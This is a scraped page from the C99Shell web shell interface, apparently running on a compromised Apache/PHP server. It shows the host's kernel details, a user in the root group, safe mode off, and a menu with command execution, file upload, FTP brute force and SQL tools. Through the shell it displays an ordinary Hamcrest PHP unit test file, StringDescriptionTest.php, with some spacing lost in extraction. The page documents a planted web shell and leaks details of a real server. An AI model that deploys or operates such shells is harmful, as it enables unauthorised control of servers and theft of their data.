!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/hamcrest/hamcrest-php/tests/Hamcrest/   drwxr-xr-x
Free 28.58 GB of 117.98 GB (24.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     StringDescriptionTest.php (5.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Hamcrest;

use 
PHPUnit\Framework\TestCase;

class 
SampleSelfDescriber implements \Hamcrest\SelfDescribing
{
    private 
$_text;

    public function 
__construct($text)
    {
        
$this->_text $text;
    }

    public function 
describeTo(\Hamcrest\Description $description)
    {
        
$description->appendText($this->_text);
    }
}

class 
StringDescriptionTest extends TestCase
{

    private 
$_description;

    protected function 
setUp()
    {
        
$this->_description = new \Hamcrest\StringDescription();
    }

    public function 
testAppendTextAppendsTextInformation()
    {
        
$this->_description->appendText('foo')->appendText('bar');
        
$this->assertEquals('foobar', (string) $this->_description);
    }

    public function 
testAppendValueCanAppendTextTypes()
    {
        
$this->_description->appendValue('foo');
        
$this->assertEquals('"foo"', (string) $this->_description);
    }

    public function 
testSpecialCharactersAreEscapedForStringTypes()
    {
        
$this->_description->appendValue("foo\\bar\"zip\r\n");
        
$this->assertEquals('"foo\\bar\\"zip\r\n"', (string) $this->_description);
    }

    public function 
testIntegerValuesCanBeAppended()
    {
        
$this->_description->appendValue(42);
        
$this->assertEquals('<42>', (string) $this->_description);
    }

    public function 
testFloatValuesCanBeAppended()
    {
        
$this->_description->appendValue(42.78);
        
$this->assertEquals('<42.78F>', (string) $this->_description);
    }

    public function 
testNullValuesCanBeAppended()
    {
        
$this->_description->appendValue(null);
        
$this->assertEquals('null', (string) $this->_description);
    }

    public function 
testArraysCanBeAppended()
    {
        
$this->_description->appendValue(array('foo'42.78));
        
$this->assertEquals('["foo", <42.78F>]', (string) $this->_description);
    }

    public function 
testObjectsCanBeAppended()
    {
        
$this->_description->appendValue(new \stdClass());
        
$this->assertEquals('<stdClass>', (string) $this->_description);
    }

    public function 
testBooleanValuesCanBeAppended()
    {
        
$this->_description->appendValue(false);
        
$this->assertEquals('<false>', (string) $this->_description);
    }

    public function 
testListsOfvaluesCanBeAppended()
    {
        
$this->_description->appendValue(array('foo'42.78));
        
$this->assertEquals('["foo", <42.78F>]', (string) $this->_description);
    }

    public function 
testIterableOfvaluesCanBeAppended()
    {
        
$items = new \ArrayObject(array('foo'42.78));
        
$this->_description->appendValue($items);
        
$this->assertEquals('["foo", <42.78F>]', (string) $this->_description);
    }

    public function 
testIteratorOfvaluesCanBeAppended()
    {
        
$items = new \ArrayObject(array('foo'42.78));
        
$this->_description->appendValue($items->getIterator());
        
$this->assertEquals('["foo", <42.78F>]', (string) $this->_description);
    }

    public function 
testListsOfvaluesCanBeAppendedManually()
    {
        
$this->_description->appendValueList('@start@''@sep@ ''@end@', array('foo'42.78));
        
$this->assertEquals('@start@"foo"@sep@ <42.78F>@end@', (string) $this->_description);
    }

    public function 
testIterableOfvaluesCanBeAppendedManually()
    {
        
$items = new \ArrayObject(array('foo'42.78));
        
$this->_description->appendValueList('@start@''@sep@ ''@end@'$items);
        
$this->assertEquals('@start@"foo"@sep@ <42.78F>@end@', (string) $this->_description);
    }

    public function 
testIteratorOfvaluesCanBeAppendedManually()
    {
        
$items = new \ArrayObject(array('foo'42.78));
        
$this->_description->appendValueList('@start@''@sep@ ''@end@'$items->getIterator());
        
$this->assertEquals('@start@"foo"@sep@ <42.78F>@end@', (string) $this->_description);
    }

    public function 
testSelfDescribingObjectsCanBeAppended()
    {
        
$this->_description
            
->appendDescriptionOf(new \Hamcrest\SampleSelfDescriber('foo'))
            ->
appendDescriptionOf(new \Hamcrest\SampleSelfDescriber('bar'))
            ;
        
$this->assertEquals('foobar', (string) $this->_description);
    }

    public function 
testSelfDescribingObjectsCanBeAppendedAsLists()
    {
        
$this->_description->appendList('@start@''@sep@ ''@end@', array(
            new 
\Hamcrest\SampleSelfDescriber('foo'),
            new 
\Hamcrest\SampleSelfDescriber('bar')
        ));
        
$this->assertEquals('@start@foo@sep@ bar@end@', (string) $this->_description);
    }

    public function 
testSelfDescribingObjectsCanBeAppendedAsIteratedLists()
    {
        
$items = new \ArrayObject(array(
            new 
\Hamcrest\SampleSelfDescriber('foo'),
            new 
\Hamcrest\SampleSelfDescriber('bar')
        ));
        
$this->_description->appendList('@start@''@sep@ ''@end@'$items);
        
$this->assertEquals('@start@foo@sep@ bar@end@', (string) $this->_description);
    }

    public function 
testSelfDescribingObjectsCanBeAppendedAsIterators()
    {
        
$items = new \ArrayObject(array(
            new 
\Hamcrest\SampleSelfDescriber('foo'),
            new 
\Hamcrest\SampleSelfDescriber('bar')
        ));
        
$this->_description->appendList('@start@''@sep@ ''@end@'$items->getIterator());
        
$this->assertEquals('@start@foo@sep@ bar@end@', (string) $this->_description);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0052 ]--